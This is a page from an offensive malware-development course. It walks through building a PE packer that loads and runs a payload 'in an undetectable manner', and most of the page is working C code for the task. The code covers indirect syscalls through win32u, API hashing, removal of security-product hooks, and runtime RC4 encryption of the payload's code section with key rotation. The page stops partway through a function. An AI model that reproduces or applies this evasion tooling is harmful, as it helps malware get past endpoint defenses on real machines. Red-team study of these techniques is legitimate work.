MalDev Study
Advanced Module 31advanced29 code files

Building A PE Packer

Unlike the previous PE injection modules which were more like PoCs for learning purposes, this module will integrate Local PE Injection and PeFluctuation modules to create a PE ...

Jump to Section (34)

Introduction

Unlike the previous PE injection modules which were more like PoCs for learning purposes, this module will integrate Local PE Injection and PeFluctuation modules to create a PE packer capable of loading and executing a PE payload in an undetectable manner. Furthermore, this module will incorporate methods introduced in Building An Evasive DLL Payload Loader, so it is advisable to review that module for a comprehensive understanding.

Loader's Capabilities

The loader being built will have the following features:

  • Indirect-Syscalls using an improved HellsHall implementation. This feature was introduced in the Building An Evasive DLL Payload Loader module. DLL Unhooking via the \KnownDlls\ directory without using the RWX memory permissions. This feature was introduced in the Building An Evasive DLL Payload Loader module.
  • Using the LZW algorithm for PE payload compression.
  • Using PeFluctuation to hide the injected PE at runtime.
  • Obfuscated IAT using API hashing and IAT camouflage.
  • CRT library independent.

Using the Enhanced HellsHall

In the Building An Evasive DLL Payload Loader module, HellsHall was enhanced to use the syscall instructions from the win32u.dll library instead of ntdll.dll to perform indirect syscalls. This allowed us to unhook DLLs without the need to use RWX memory permissions. The same HellsHall implementation will also be used in the current module. The functions below will be reused in this module:

  • FetchNtSyscall Initializes an NT_SYSCALL structure of a given syscall. FetchNtSyscall executes FetchWin32uSyscallInst which retrieves a random syscall instruction address from within win32u.dll.
  • InitIndirectSyscalls Initializes an NT_API structure that will hold the required details to invoke all of the utilized syscalls in the loader. The NT_API structure is shown below.
CPP
typedef struct _NT_API 
{
    NT_SYSCALL  NtOpenSection;
    NT_SYSCALL  NtMapViewOfSection;
    NT_SYSCALL  NtUnmapViewOfSection;
    NT_SYSCALL  NtAllocateVirtualMemory;
    NT_SYSCALL  NtProtectVirtualMemory;
    NT_SYSCALL  NtFlushInstructionCache;
    BOOL        bInit;

} NT_API, * PNT_API;

Further details on how the enhanced indirect syscall technique works are discussed in the Building An Evasive DLL Payload Loader module.

Unhooking Without RWX permissions

In the Building An Evasive DLL Payload Loader module, unhooking without RWX permissions was done by unhooking the first three DLLs using RW memory permissions and retrieving their unhooked versions from the \KnownDlls\ directory. In this module, the same technique will be used, however, the implant will unhook all the loaded DLLs after resolving the PE payload's IAT. This is done because resolving the IAT loads additional DLLs to the local process, therefore waiting until these DLLs are loaded before starting the unhooking routine increases the likelihood of removing more installed userland hooks.

It is worth noting that although the unhooking routine of the current implant will attempt to unhook all loaded DLLs, it will avoid unhooking the win32u.dll module. This is because the win32u.dll module is used to execute the syscall instruction, which if unhooked, will cause an access violation since the implant is only using RW memory permissions.

Additionally, the unhooking process will have a Vectored Exception Handler VEH function UnhookingVectoredExceptionHandler which is invoked in case a DLL attempts to execute code in non-executable memory. UnhookingVectoredExceptionHandler will change the memory permissions from RW to RWX and overwrite the hooked .text section with the unhooked version that was retrieved from the \KnownDlls\ directory.

API Hashing

As usual, WinAPIs will be invoked by API hashing which is demonstrated by the familiar GetProcAddressH and GetModuleHandleH functions shown below.

CPP
FARPROC GetProcAddressH(IN HMODULE hModule, IN UINT32 uApiHash) {

    PBYTE                             pBase                      = (PBYTE)hModule;
    PIMAGE_NT_HEADERS                 pImgNtHdrs                 = NULL;
    PIMAGE_EXPORT_DIRECTORY           pImgExportDir              = NULL;
    PDWORD                            pdwFunctionNameArray       = NULL;
    PDWORD                            pdwFunctionAddressArray    = NULL;
    PWORD                             pwFunctionOrdinalArray     = NULL;
    DWORD                             dwImgExportDirSize         = 0x00;

    if (!hModule || !uApiHash) {
        return NULL;
    }

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    pImgExportDir               = (PIMAGE_EXPORT_DIRECTORY)(pBase + pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Virtual
Address);
    dwImgExportDirSize           = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    pdwFunctionNameArray         = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
    pdwFunctionAddressArray      = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
    pwFunctionOrdinalArray       = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
CPP
    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {

        CHAR*   pFunctionName       = (CHAR*)(pBase + pdwFunctionNameArray[i]);
        PVOID   pFunctionAddress = (PVOID)(pBase + pdwFunctionAddressArray[pwFunctionOrdinalArray[i]]);

        if (HASH(pFunctionName) == uApiHash) {

            // Forwarded functions support:
            if ((((ULONG_PTR)pFunctionAddress) >= ((ULONG_PTR)pImgExportDir)) &&
                (((ULONG_PTR)pFunctionAddress) < ((ULONG_PTR)pImgExportDir) + dwImgExportDirSize)
                ) {

                CHAR        cForwarderName[MAX_PATH]        = { 0 };
                DWORD       dwDotOffset                     = 0x00;
                PCHAR       pcFunctionMod                   = NULL;
                PCHAR       pcFunctionName                  = NULL;

                memcpy(cForwarderName, pFunctionAddress, strlen((PCHAR)pFunctionAddress));

                for (int i = 0; i < strlen((PCHAR)cForwarderName); i++) {

                    if (((PCHAR)cForwarderName)[i] == '.') {
                        dwDotOffset = i;
                        cForwarderName[i] = NULL;
                        break;
                    }
                }

                pcFunctionMod = cForwarderName;
                pcFunctionName = cForwarderName + dwDotOffset + 1;
                // "g_WinAPI.pLoadLibraryA" is LoadLibraryA's function pointer (resolved by API Hashing)
                return GetProcAddressH(g_WinAPI.pLoadLibraryA(pcFunctionMod), HASH(pcFunctionName));
            }
            return (FARPROC)pFunctionAddress;
        }

    }

    return NULL;
}
CPP
HMODULE GetModuleHandleH(IN UINT32 uModuleHash) {

    PPEB                    pPeb            = NULL;
    PPEB_LDR_DATA           pLdr            = NULL;
    PLDR_DATA_TABLE_ENTRY   pDte            = NULL;

    pPeb = (PPEB)__readgsqword(0x60);
    pLdr = (PPEB_LDR_DATA)(pPeb->LoaderData);
    pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

    // Return the handle of the local .exe image
    if (!uModuleHash)
        return (HMODULE)(pDte->InInitializationOrderLinks.Flink);

    while (pDte) {

        if (pDte->FullDllName.Buffer && pDte->FullDllName.Length < MAX_PATH) {

            CHAR    cLDllName[MAX_PATH]    = { 0 };
            DWORD   x                      = 0x00;

            while (pDte->FullDllName.Buffer[x]) {

                CHAR    wC = pDte->FullDllName.Buffer[x];

                // Convert to lowercase
                if (wC >= 'A' && wC <= 'Z')
                    cLDllName[x] = wC - 'A' + 'a';
                // Copy other characters (numbers, special characters ...)
                else
                    cLDllName[x] = wC;

                x++;
            }

            cLDllName[x] = '\0';

            if (HASH(pDte->FullDllName.Buffer) == uModuleHash || HASH(cLDllName) == uModuleHash)
                return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
        }

        // Move to the next node in the linked list
        pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
    }
CPP
    return NULL;
}

CRC String Hashing

Both of the aforementioned functions make use of the Cyclic Redundancy Check string hashing algorithm, represented in the following function.

POWERSHELL
UINT32 CRC32B(LPCSTR cString)
{

    UINT32      uMask    = 0x00,
                uHash    = 0xFFFFEFFF;
    INT         i        = 0x00;

    while (cString[i] != 0) {

        uHash = uHash ^ (UINT32)cString[i];

        for (int ii = 0; ii < 8; ii++) {

            uMask = -1 * (uHash & 1);
            uHash = (uHash >> 1) ^ (CRC_POLYNOMIAL & uMask);
        }

        i++;
    }

    return ~uHash;
}

WINAPIs Structure

Furthermore, a structure named WINAPIs will be defined, holding the function pointers of all utilized WinAPIs across the whole implementation. The WINAPIs structure is shown below.

CPP
typedef struct _WINAPIs 
{
    fnCreateTimerQueueTimer                 pCreateTimerQueueTimer;
    fnCreateTimerQueue                      pCreateTimerQueue;
    fnAddVectoredExceptionHandler           pAddVectoredExceptionHandler;
    fnRemoveVectoredExceptionHandler        pRemoveVectoredExceptionHandler;

    fnRtlAddFunctionTable                   pRtlAddFunctionTable;
    fnSystemFunction032                     pSystemFunction032;
    fnLoadLibraryA                          pLoadLibraryA;
    fnInitializeCriticalSection             pInitializeCriticalSection;
    fnEnterCriticalSection                  pEnterCriticalSection;
    fnLeaveCriticalSection                  pLeaveCriticalSection;

} WINAPIs, *PWINAPIs;

InitializeWinAPIs Function

Initializing the WINAPIs structure is done via the InitializeWinAPIs function, which invokes both GetProcAddressH and GetModuleHandleH to resolve the function pointers and assign them to the structure. InitializeWinAPIs accepts one parameter, which represents the WINAPIs structure pointer that is to be populated.

PYTHON
BOOL InitializeWinAPIs(OUT PWINAPIs pWinAPIs) 
{
    // LoadLibraryA should always be the first API to resolve (it's used in GetProcAddressH in case of a forwarded function)
    if (!(pWinAPIs->pLoadLibraryA = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), LoadLibraryA_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pAddVectoredExceptionHandler = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), AddVectoredExceptionHandler_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pRemoveVectoredExceptionHandler = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RemoveVectoredExceptionHandler_CRC32))) 
{
        return FALSE;
    }

    if (!(pWinAPIs->pCreateTimerQueue = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), CreateTimerQueue_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pCreateTimerQueueTimer = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), CreateTimerQueueTimer_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pRtlAddFunctionTable = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RtlAddFunctionTable_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pInitializeCriticalSection = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), InitializeCriticalSection_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pEnterCriticalSection = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), EnterCriticalSection_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pLeaveCriticalSection = GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), LeaveCriticalSection_CRC32))) {
        return FALSE;
    }

    if (!(pWinAPIs->pSystemFunction032 = GetProcAddressH(GetModuleHandleH(advapi32dll_CRC32), SystemFunction032_CRC32))) {
        return FALSE;
    }

    return TRUE;
}

HashCalculator Program

All the used hashes are calculated using the HashCalculator program which prints them to the console as per the image below.

Building A PE Packer figure

Note that HashCalculator does not only print WinAPIs hashes but also syscalls hashes and other hash values related to other tasks introduced later in the module.

Reusing LocalPeExec Functions

As shown in earlier modules, the most crucial steps for PE injections are relocation, IAT fixing, and setting suitable memory permissions for each PE section. These steps were implemented several times in previous modules using the FixReloc, FixImportAddressTable, and FixMemPermissions functions respectively. These functions will also be used in this implementation, utilizing API hashing and using HellsHall when required.

FixReloc, FixImportAddressTable, and FixMemPermissions are shown below.

CPP
BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

    // Pointer to the beginning of the base relocation block.
    PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);

    // The difference between the current PE image base address and its preferable base address.
    ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;

    // Pointer to individual base relocation entries.
    PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;

    // Iterate through all the base relocation blocks.
    while (pImgBaseRelocation->VirtualAddress) {

        // Pointer to the first relocation entry in the current block.
        pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

        // Iterate through all the relocation entries in the current block.
        while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
            // Process the relocation entry based on its type.
            switch (pBaseRelocEntry->Type) {

                case IMAGE_REL_BASED_DIR64: {
                    // Adjust a 64-bit field by the delta offset.
                    *((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
                    break;
                }
                case IMAGE_REL_BASED_HIGHLOW: {
                    // Adjust a 32-bit field by the delta offset.
                    *((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
                    break;
                }
                case IMAGE_REL_BASED_HIGH: {
                    // Adjust the high 16 bits of a 32-bit field.
                    *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
                    break;
                }
                case IMAGE_REL_BASED_LOW: {
                    // Adjust the low 16 bits of a 32-bit field.
                    *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
                    break;
                }
                case IMAGE_REL_BASED_ABSOLUTE: {
                    // No relocation is required.
                    break;
                }
                default: {
                    return FALSE;
                }

            }

            pBaseRelocEntry++;
        }

        pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
    }

    return TRUE;
}
CPP
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

    // Pointer to an import descriptor for a DLL
    PIMAGE_IMPORT_DESCRIPTOR pImgDescriptor = NULL;
    // Iterate over the import descriptors
    for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
        // Get the current import descriptor
        pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
        // If both thunks are NULL, we've reached the end of the import descriptors list
        if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
            break;

        // Retrieve information from the current import descriptor
        LPSTR       cDllName                 = (LPSTR)(pPeBaseAddress + pImgDescriptor->Name);
        ULONG_PTR   uOriginalFirstThunkRVA   = pImgDescriptor->OriginalFirstThunk;
        ULONG_PTR   uFirstThunkRVA           = pImgDescriptor->FirstThunk;
        SIZE_T      ImgThunkSize             = 0x00;                 // Used to move to the next function (iterating through the IAT and INT)
        HMODULE     hModule                  = NULL;
CPP
        if (!(hModule = g_WinAPI.pLoadLibraryA(cDllName)))
            return FALSE;

        // Iterate over the imported functions for the current DLL
        while (TRUE) {

            // Get pointers to the first thunk and original first thunk data
            PIMAGE_THUNK_DATA               pOriginalFirstThunk     = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
            PIMAGE_THUNK_DATA               pFirstThunk             = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
            PIMAGE_IMPORT_BY_NAME           pImgImportByName        = NULL;
            ULONG_PTR                       pFuncAddress            = NULL;

            // At this point both 'pOriginalFirstThunk' & 'pFirstThunk' will have the same values
            // However, to populate the IAT (pFirstThunk), one should use the INT (pOriginalFirstThunk) to retrieve the 
            // functions addresses and patch the IAT (pFirstThunk->u1.Function) with the calculated address.
            if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
                break;
            }
CPP
            // If the ordinal flag is set, import the function by its ordinal number
            if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
                // Since our GetProcAddressH function doesn't support ordinals as input, one can fetch the function address via the following code:

                // Retrieve required headers of the loaded DLL module
                PIMAGE_NT_HEADERS               _pImgNtHdrs                 = NULL;
                PIMAGE_EXPORT_DIRECTORY         _pImgExportDir              = NULL;
                PDWORD                          _pdwFunctionAddressArray    = NULL;

                _pImgNtHdrs = ((ULONG_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
                if (_pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
                    return FALSE;

                _pImgExportDir           = (PIMAGE_EXPORT_DIRECTORY)(((ULONG_PTR)hModule) + _pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTO
RY_ENTRY_EXPORT].VirtualAddress);
                _pdwFunctionAddressArray = (PDWORD)((ULONG_PTR)hModule + _pImgExportDir->AddressOfFunctions);
                // Use the ordinal to retrieve the function address
                pFuncAddress            = ((ULONG_PTR)hModule + _pdwFunctionAddressArray[pOriginalFirstThunk->u1.Ordinal]);

                if (!pFuncAddress) {
                    return FALSE;
                }

            }
            // Import function by name
            else {
                pImgImportByName = (PIMAGE_IMPORT_BY_NAME)((SIZE_T)pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
                if (!(pFuncAddress = (ULONG_PTR)GetProcAddressH(hModule, HASH(pImgImportByName->Name)))) {
                    return FALSE;
                }
            }

            // Install the function address in the IAT
            pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;

            // Move to the next function in the IAT/INT array
            ImgThunkSize += sizeof(IMAGE_THUNK_DATA);

        }
    }

    return TRUE;
}

/* Global Variables */
ULONG_PTR           g_uPeTextAddress     = NULL;
SIZE_T              g_sPeTextSize           = NULL;
CPP
BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        NTSTATUS    STATUS          = 0x00;
        DWORD       dwProtection    = 0x00,
                    dwOldProtection  = 0x00;
        PVOID       pAddress        = (PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress);
        SIZE_T      sSize           = (SIZE_T)pImgSecHdr[i].SizeOfRawData;

        // Skip the section if it has no data or no associated virtual address.
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;

        // If memory should be RX, we save its base address and size
        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) {
            // Save RX base address
            if (!g_uPeTextAddress)
                g_uPeTextAddress = pPeBaseAddress + pImgSecHdr[i].VirtualAddress;

            // Save the RX memory size
            if (!g_sPeTextSize)
                g_sPeTextSize = pImgSecHdr[i].SizeOfRawData;

            dwProtection = PAGE_EXECUTE_READ;
        }

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;

        // Apply the determined memory protection to the section.
        SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
        if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pAddress, &sSize, dwProtection, &dwOldProtection))) {
            return FALSE;
        }
    }

    return TRUE;
}

Since this implementation requires PeFluctuation, the FixMemPermissions function must keep track of the PAGE_EXECUTE_READ memory region, which is the .text section of the PE payload. This is done by initializing the g_uPeTextAddress and g_sPeTextSize global variables which are the executable memory's base address and size respectively. The FixMemPermissions function was updated to perform this action in the PeFluctuation module, review that module if necessary.

PEFluctuation Implementation

As shown in the previous module, PeFluctuation's purpose is to hide the PE payload at runtime. A brief overview of the implementation steps is shown below, however, if you need a complete overview of the steps revisit the previous module.

  • After CreateTimerQueueTimer's timer expires, it executes Rc4EncryptDecrypt; a function that will encrypt the executable memory region of the PE payload, and mark it as read-only. This step occurs prior to executing the payload's entry point.
  • Upon code execution attempts made by the payload, an EXCEPTION_ACCESS_VIOLATION exception will be raised, which is handled by a VEH function named PeFluctuationVectoredExceptionHandler. This function will decrypt the encrypted .text section and mark it as executable memory, allowing the payload to run its code.
  • From within PeFluctuationVectoredExceptionHandler, the Rc4EncryptDecrypt function will be called again using CreateTimerQueueTimer to re-conceal the PE payload in memory.

Rc4EncryptDecrypt

The Rc4EncryptDecrypt function accepts the following parameters:

  • pBuffer Base address of the memory to encrypt/decrypt.
  • dwBufferLen Size of the memory region to encrypt/decrypt starting from pBuffer.
  • bDecrypt If this parameter is TRUE, it sets the memory permission to PAGE_EXECUTE_READ after decrypting. Whereas if it's FALSE, it sets the memory permission to PAGE_READONLY after encrypting.
CPP
#define     RC4_KEY_SIZE                0x10    // 16 byte
ASM
BYTE    g_Rc4Key[RC4_KEY_SIZE]   = { 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF, 0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77, 0x01 };

BOOL Rc4EncryptDecrypt(IN PBYTE pBuffer, IN DWORD dwBufferLen, IN BOOL bDecrypt) {

    NTSTATUS                STATUS                  = NULL;
    USTRING                 uStrBuffer              = { .Buffer = pBuffer,  .Length = dwBufferLen,  .MaximumLength = dwBufferLen };
    USTRING                 uStrKey                 = { .Buffer = g_Rc4Key, .Length = RC4_KEY_SIZE, .MaximumLength = RC4_KEY_SIZE };
    DWORD                   dwOldProtection          = 0x00;
    PVOID                   pTmpBuffer              = (PVOID)pBuffer;
    SIZE_T                  sTmpBufferLen           = (SIZE_T)dwBufferLen;

    if (!pTmpBuffer || !sTmpBufferLen)
        return FALSE;

    // Change the target's memory permissions to RW to allow encrypting (it was RO)
    SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pTmpBuffer, &sTmpBufferLen, PAGE_READWRITE, &dwOldProtection))) {
        return FALSE;
    }

    // Encrypt/Decrypt input data
    if (!NT_SUCCESS((STATUS = g_WinAPI.pSystemFunction032(&uStrBuffer, &uStrKey))) != 0x0) {
        return FALSE;
    }
CPP
    // Change the memory permissions to RO/RX.
    SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pTmpBuffer, &sTmpBufferLen, (bDecrypt == TRUE ? PAGE_EXECUTE_READ : PAGE_READONLY), &d
wOldProtection))) {
        return FALSE;
    }

    return TRUE;
}

PeFluctuationVectoredExceptionHandler

Our VEH function that will handle exceptions is shown below.

CPP
LONG WINAPI PeFluctuationVectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) 
{
    // Check the exception code
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {

        // Check the exception address. If the exception address is coming from inside of the RX (.text) memory, it's handled
        if (pExceptionInfo->ExceptionRecord->ExceptionAddress >= g_uPeTextAddress && pExceptionInfo->ExceptionRecord->ExceptionAddress <= (g_uPeTex
tAddress + g_sPeTextSize)) {

            NTSTATUS    STATUS              = 0x00;
            DWORD       dwOldProtection     = 0x00;
            PVOID       pTmpPeTextAddress    = (PVOID)g_uPeTextAddress;
            SIZE_T      sTmpPeTextSize      = (SIZE_T)g_sPeTextSize;
CPP
            if (!g_hTimerQueue || !g_hTimer)
                goto _FAILURE;

            // Decrypt the PE's encrypted data - and allow execution
            if (!Rc4EncryptDecrypt(g_uPeTextAddress, g_sPeTextSize, TRUE))
                goto _FAILURE;

            // Execute the 'ObfuscationTimerCallback' callback function after 'EXEC_WAIT' seconds to re-encrypt 
            if (!g_WinAPI.pCreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 
0, 0)) {
                goto _FAILURE;
            }

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
CPP
_FAILURE:
    return EXCEPTION_CONTINUE_SEARCH;
}

Using Critical Sections

Critical Sections were first introduced in the Utilizing Hardware Breakpoints For Hooking 1 module and are used to ensure thread safety and synchronization when running a multi-threaded program. This is done by initializing a section of code that will only be executed by one thread at a time. In this module, critical sections will be used in the Rc4EncryptDecrypt function.

Rc4EncryptDecrypt is executed from within the VEH function, PeFluctuationVectoredExceptionHandler, and CreateTimerQueueTimer's callback function. Since the implementation will have no control over when exceptions are raised, it is advised to use critical sections from within Rc4EncryptDecrypt to avoid running it twice at the same time, once being as a callback function and the other from the VEH function.

The implementation will utilize the following WinAPIs while working with critical sections:

  • InitializeCriticalSection Initializes a critical section object by populating a CRITICAL_SECTION structure.
  • EnterCriticalSection Enters a critical section, indicating that the calling thread wants to access a shared resource protected by the critical section. LeaveCriticalSection Releases a critical section, indicating that the calling thread has finished accessing the shared resource.

InitializeCriticalSection will be called before the first execution of the Rc4EncryptDecrypt function. On the other hand, EnterCriticalSection will be invoked at the start of Rc4EncryptDecrypt, while LeaveCriticalSection will be called at the end of the function.

Random RC4 Key Generator

The current setup for our RC4 functions makes use of the same key for all encryption and decryption routines during the PE payload execution. This is a serious weakness and should be avoided by rotating the key. Therefore, the Rc4EncryptDecrypt function will undergo a modification to alter the key after a set number of invocations. Our updated function will modify the key after the 20th execution of the Rc4EncryptDecrypt function, meaning after being called 10 times for encryption and 10 times for decryption of the .text section of the PE payload.

Keep in mind that the RC4 key can only be changed when the data is decrypted because if the key were to change while data is still encrypted, the decryption process would then use a different key which would result in corrupted data resulting in a process crash. Therefore, in addition to having Rc4EncryptDecrypt monitor the number of invocations, it must also check if the PE payload's .text section is decrypted. If so, then it would execute the code to change the RC4 key. The steps below will outline exactly what the updated code will do to update the RC4 key.

  • Increment the global variable g_dwDataStatus, which is used to determine the data's state (whether decrypted or encrypted).
  • Increment the global variable g_dwCycleCounter, which is used to track the number of times the Rc4EncryptDecrypt function has been called. When data is decrypted, assign a new random value to the local variable bSeed. This variable will be utilized in the code for altering the RC4 key. Whenever the value of g_dwCycleCounter equals the constant KEY_CHANGE_CYCLE_NMBR, and g_dwDataStatus equals DATA_DECRYPTED, the RC4 key will undergo XOR operations with random values retrieved from the PE itself.
  • After the key alteration, reset the global variable g_dwCycleCounter.
  • When g_dwDataStatus matches the constant DATA_DECRYPTED, reset the g_dwDataStatus as well.
CPP
#define     RC4_KEY_SIZE            0x10    // 16 byte

// Data state:
#define     DATA_ENCRYPTED          0x01
#define     DATA_DECRYPTED          0x02

// The number of times "Rc4EncryptDecrypt" should be invoked before changing the key:
#define     KEY_CHANGE_CYCLE_NMBR        20

// The initial Rc4 key:
BYTE        g_Rc4Key[RC4_KEY_SIZE]   = { 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF, 0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77, 0x01 };

// Used to determine the state of the injected PE file in memory (encrypted or not):
DWORD       g_dwDataStatus          = 0x00;
// Used to determine when to change the rc4 key (when g_dwCycleCounter == KEY_CHANGE_CYCLE_NMBR):
DWORD       g_dwCycleCounter     = 0x00;
CPP
BOOL Rc4EncryptDecryptDemo(IN PBYTE pBuffer, IN DWORD dwBufferLen, IN BOOL bDecrypt){

    BYTE    bSeed   = 0x00;

    // Increment the global counters:
    // This will help in determining the data state in memory (encrypted nor decrypted).
    g_dwDataStatus++;
    // When g_dwCycleCounter == KEY_CHANGE_CYCLE_NMBR, the rc4 key is changed
    g_dwCycleCounter++;

    // Set a new seed that can be used for the new rc4 key
    if (g_dwDataStatus == DATA_DECRYPTED) {
        bSeed = pBuffer[bSeed % 0xFF];
    }

    /*
        Encrypt / Decrypt
    */

    // Change the rc4 key 
    if (g_dwCycleCounter >= KEY_CHANGE_CYCLE_NMBR && g_dwDataStatus == DATA_DECRYPTED) {
        // Fast algorithm to completely change the rc4 key
        for (int i = 0; i < RC4_KEY_SIZE; i++) {

            if (i % 2 == 0x00)
                g_Rc4Key[i] = g_Rc4Key[i] ^ ((pBuffer[i] ^ bSeed) % 0xFF);
            else
                g_Rc4Key[i] = g_Rc4Key[i] ^ ((g_Rc4Key[0] ^ bSeed) % 0xFF);
        }

        // Reset the counter 
        g_dwCycleCounter = 0x00;
    }

    // Reset the counter 
    if (g_dwDataStatus == DATA_DECRYPTED)
        g_dwDataStatus = 0x00;

}

The Complete Rc4EncryptDecrypt Function

The Rc4EncryptDecrypt function is shown below after updating it to use critical sections and rotating the RC4 key after each 20th invocation.

CPP
BOOL Rc4EncryptDecrypt(IN PBYTE pBuffer, IN DWORD dwBufferLen, IN BOOL bDecrypt) {

    // Enter a critical section
    g_WinAPI.pEnterCriticalSection(&g_CriticalSection);

    NTSTATUS    STATUS          = NULL;
    USTRING     uStrBuffer      = { .Buffer = pBuffer,  .Length = dwBufferLen,  .MaximumLength = dwBufferLen };
    USTRING     uStrKey         = { .Buffer = g_Rc4Key, .Length = RC4_KEY_SIZE, .MaximumLength = RC4_KEY_SIZE };
    DWORD       dwOldProtection  = 0x00;
    PVOID       pTmpBuffer      = (PVOID)pBuffer;
    SIZE_T      sTmpBufferLen   = (SIZE_T)dwBufferLen;
